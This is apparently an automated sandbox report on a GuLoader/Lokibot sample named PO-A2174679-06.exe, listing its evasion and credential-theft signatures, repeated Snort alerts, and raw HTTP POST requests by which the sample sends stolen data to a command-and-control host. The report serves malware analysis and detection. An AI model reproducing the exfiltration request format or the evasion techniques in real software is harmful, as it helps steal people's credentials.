Analysis Report PO-A2174679-06.exe

Overview

General Information

Sample Name: PO-A2174679-06.exe
Analysis ID: 356484
MD5: fdec289fb4626dd56bbb55770ae5f432
SHA1: 1a1f324185e6114fb1362b00f27fe8009a202361
SHA256: eb53256b217e27a7ab0f71be2181599a79dc0569dea7fdbc5b32cf96a6bc9109
Tags: exe

Most interesting Screenshot:

Detection

GuLoader Lokibot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected GuLoader
Yara detected Lokibot
Contains functionality to detect hardware virtualization (CPUID execution measurement)
Contains functionality to hide a thread from the debugger
Detected RDTSC dummy instruction sequence (likely for instruction hammering)
Hides threads from debuggers
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file access)
Yara detected VB6 Downloader Generic
Abnormal high CPU Usage
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Creates a DirectInput object (often for capturing keystrokes)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains strange resources
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sleep loop found (likely to delay execution)
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

AV Detection:

barindex
Multi AV Scanner detection for submitted file
Source: PO-A2174679-06.exe Virustotal: Detection: 16% Perma Link

Compliance:

barindex
Uses 32bit PE files
Source: PO-A2174679-06.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.5:49732 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49732 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49732 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.5:49732 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.5:49733 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49733 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49733 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.5:49733 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49734 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49734 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49734 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49734 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49735 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49735 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49735 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49735 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49736 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49736 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49736 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49736 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49737 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49737 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49737 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49737 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49738 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49738 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49738 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49738 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49739 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49739 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49739 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49739 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49740 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49740 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49740 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49740 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49741 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49741 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49741 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49741 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49743 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49743 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49743 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49743 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49744 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49744 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49744 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49744 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49745 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49745 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49745 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49745 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49746 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49746 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49746 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49746 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49747 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49747 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49747 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49747 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49748 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49748 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49748 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49748 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49749 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49749 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49749 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49749 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49750 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49750 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49750 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49750 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49751 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49751 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49751 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49751 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49752 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49752 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49752 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49752 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49753 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49753 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49753 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49753 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49755 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49755 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49755 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49755 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49759 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49759 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49759 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49759 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49761 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49761 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49761 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49761 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49763 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49763 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49763 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49763 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49765 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49765 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49765 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49765 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49766 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49766 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49766 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49766 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49767 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49767 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49767 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49767 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49768 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49768 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49768 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49768 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49769 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49769 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49769 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49769 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49770 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49770 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49770 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49770 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49771 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49771 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49771 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49771 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49772 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49772 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49772 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49772 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49773 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49773 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49773 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49773 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49774 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49774 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49774 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49774 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49775 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49775 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49775 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49775 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49776 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49776 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49776 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49776 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49777 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49777 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49777 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49777 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49778 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49778 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49778 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49778 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49779 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49779 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49779 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49779 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49780 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49780 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49780 -> 192.185.78.145:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49780 -> 192.185.78.145:80
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 192Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 192Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /ovation/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: accessasia.com.hkAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EB0DDECContent-Length: 165Connection: close
